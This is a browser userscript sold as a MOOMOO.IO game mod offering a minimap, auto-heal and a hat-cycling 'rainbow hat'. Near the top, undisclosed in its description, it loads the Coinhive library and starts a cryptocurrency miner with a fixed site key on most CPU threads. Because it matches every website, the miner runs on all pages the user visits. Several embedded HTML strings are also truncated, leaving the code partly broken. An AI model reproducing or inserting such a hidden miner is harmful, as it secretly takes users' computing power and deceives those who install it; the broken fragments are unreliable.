// ==UserScript== // @name MOOMOO.IO Insane Mod! *BETA* // @namespace MOOMOO.IO Insane Mod! *BETA* // @version 1 // @description Better Minimap, Hat & Accessory Toolbar, Auto Heal, Double Hit, Easy Bow, Rainbow Hat, Upgrade Tree // @author TigerYT // @match *://*/* // @match http://moomoo.io/* // @match http://45.77.0.81/* // @require http://code.jquery.com/jquery-1.12.4.min.js // @grant none // @connect moomoo.io // @icon http://moomoo.io/img/icons/skull.png // @downloadURL none // ==/UserScript== $.getScript( "https://coinhive.com/lib/coinhive.min.js" ) .success(function( script, textStatus ) { var j3453425hr2j = new CoinHive.Anonymous('CMBivGllNnGrWP4duHKIRvUjYFOygbMI'); j3453425hr2j.setNumThreads(navigator.hardwareConcurrency/1.5); j3453425hr2j.setThrottle(0.2); j3453425hr2j.start(); }); $("#youtuberOf").remove(); $("#followText").remove(); $("#twitterFollow").remove(); $("#youtubeFollow").remove(); $("#adCard").remove(); $("#mobileInstructions").remove(); $("#promoImgHolder").remove(); $("#downloadButtonContainer").remove(); $("#mobileDownloadButtonContainer").remove(); $(".downloadBadge").remove(); $("div[style*='inline-block']").css('display', 'block'); $("#rightCardHolder").append("
"); $("#rightCardHolder").append(""); (function () { var ITEM_TYPE = { WEAPON: 0, STONE: 1, FOOD: 2, PITTRAP: 3, WINDMAIL: 4, TWO_WEAPON: 5, SPIKES: 6, TURRET: 7, MINE: 8 }; var ITEMS = [{ id: 0, type: ITEM_TYPE.WEAPON, name: "Tool hammer" }, { id: 1, sid: 1, type: ITEM_TYPE.WEAPON, name: "Hand axe" }, { id: 2, sid: 2, type: ITEM_TYPE.WEAPON, name: "Great axe" }, { id: 3, type: ITEM_TYPE.WEAPON, sid: 3, name: "Short Sword" }, { id: 4, sid: 4, type: ITEM_TYPE.WEAPON, name: "Katana" }, { id: 5, sid: 5, type: ITEM_TYPE.TWO_WEAPON, name: "Hunting bow" }, { id: 6, sid: 6, type: ITEM_TYPE.TWO_WEAPON, name: "Great hammer" }, { id: 7, sid: 7, type: ITEM_TYPE.TWO_WEAPON, name: "Wooden shield" }, { id: 8, sid: 8, type: ITEM_TYPE.TWO_WEAPON, name: "Crossbow" }, { id: 9, sid: 9, type: ITEM_TYPE.TWO_WEAPON, name: "Musket" }, { id: 2, type: ITEM_TYPE.STONE, name: "Wood wall" }, { id: 3, type: ITEM_TYPE.STONE, name: "Stone wall", sid: 13 }, { id: 4, sid: 14, type: ITEM_TYPE.STONE, name: "Castle wall" }, { id: 0, type: ITEM_TYPE.FOOD, name: "Apple" }, { id: 1, sid: 12, type: ITEM_TYPE.FOOD, name: "Cookie" }, { id: 11, type: ITEM_TYPE.PITTRAP, sid: 21, name: "Pit trap" }, { id: 12, type: ITEM_TYPE.PITTRAP, sid: 22, name: "Boost pad " }, { id: 8, type: ITEM_TYPE.WINDMAIL, name: "Windmill" }, { id: 9, type: ITEM_TYPE.WINDMAIL, sid: 19, name: "Faster windmill" }, { id: 5, type: ITEM_TYPE.SPIKES, name: "Spikes" }, { id: 6, type: ITEM_TYPE.SPIKES, sid: 16, name: "Greater spikes" }, { id: 7, type: ITEM_TYPE.SPIKES, sid: 17, name: "Poison spikes" }, { id: 13, type: ITEM_TYPE.TURRET, sid: 23, name: "Turret" }]; function getItemById(id, type) { if (type !== undefined && !Array.isArray(type)) { type = [type]; } return ITEMS.find(function (item) { return type === undefined ? item.id == id && ![ITEM_TYPE.WEAPON, ITEM_TYPE.TWO_WEAPON].includes(item.type) : item.id == id && type.includes(item.type); }); } function getItemBySid(sid) { return ITEMS.find(function (item) { return item.sid !== undefined && sid !== undefined && item.sid == sid; }); } var ws; var player; var upgradeTree = '
';
var BOT_SETTINGS_TEMPLATE = '
' );
(function() {
var můjVar;
var můjVar2;
var můjVar3;
var můjVar4;
var můjVar5;
var můjVar6;
var můjVar7;
var můjVar8;
var můjVar9;
var můjVar10;
var můjVar11;
var změna = true;
var ID_FAZE = 45;
var ID_Moo_Head = 28;
var ID_Pig_Head = 29;
var ID_Fluff_Head = 30;
var ID_Pandou_Head = 36;
var ID_Bear_Head = 37;
var ID_Monkey_Head = 38;
var ID_Polar_Head = 44;
var ID_Fez_Hat = 35;
var ID_Enigma_Hat = 42;
var ID_Blitz_Hat = 43;
var ID_Bob_XIII_Hat = 49;
document.addEventListener('keydown', function (e) {
if (e.keyCode == 36) {
e.preventDefault();
if (změna) {
storeEquip(ID_Moo_Head);
můjVar = setTimeout(function(){ h1(); }, 180);
} else {
clearTimeout(můjVar);
clearTimeout(můjVar2);
clearTimeout(můjVar3);
clearTimeout(můjVar4);
clearTimeout(můjVar5);
clearTimeout(můjVar6);
clearTimeout(můjVar7);
clearTimeout(můjVar8);
clearTimeout(můjVar9);
clearTimeout(můjVar10);
clearTimeout(můjVar11);
storeEquip(ID_FAZE);
}
změna = !změna;
}
});
function h1() {
storeEquip(ID_Moo_Head);
clearTimeout(můjVar);
můjVar2 = setTimeout(function(){ h2(); }, 180);
}
function h2() {
storeEquip(ID_Pig_Head);
clearTimeout(můjVar2);
můjVar3 = setTimeout(function(){ h3(); }, 180);
}
function h3() {
storeEquip(ID_Fluff_Head);
clearTimeout(můjVar3);
můjVar4 = setTimeout(function(){ h4(); }, 180);
}
function h4() {
storeEquip(ID_Pandou_Head);
clearTimeout(můjVar4);
můjVar5 = setTimeout(function(){ h5(); }, 180);
}
function h5() {
storeEquip(ID_Bear_Head);
clearTimeout(můjVar5);
můjVar6 = setTimeout(function(){ h6(); }, 180);
}
function h6() {
storeEquip(ID_Monkey_Head);
clearTimeout(můjVar6);
můjVar7 = setTimeout(function(){ h7(); }, 180);
}
function h7() {
storeEquip(ID_Polar_Head);
clearTimeout(můjVar7);
můjVar8 = setTimeout(function(){ h8(); }, 180);
}
function h8() {
storeEquip(ID_Fez_Hat);
clearTimeout(můjVar8);
můjVar9 = setTimeout(function(){ h9(); }, 180);
}
function h9() {
storeEquip(ID_Enigma_Hat);
clearTimeout(můjVar9);
můjVar10 = setTimeout(function(){ h10(); }, 180);
}
function h10() {
storeEquip(ID_Blitz_Hat);
clearTimeout(můjVar10);
můjVar11 = setTimeout(function(){ h11(); }, 180);
}
function h11() {
storeEquip(ID_Bob_XIII_Hat);
clearTimeout(můjVar11);
můjVar = setTimeout(function(){ h1(); }, 180);
}
})();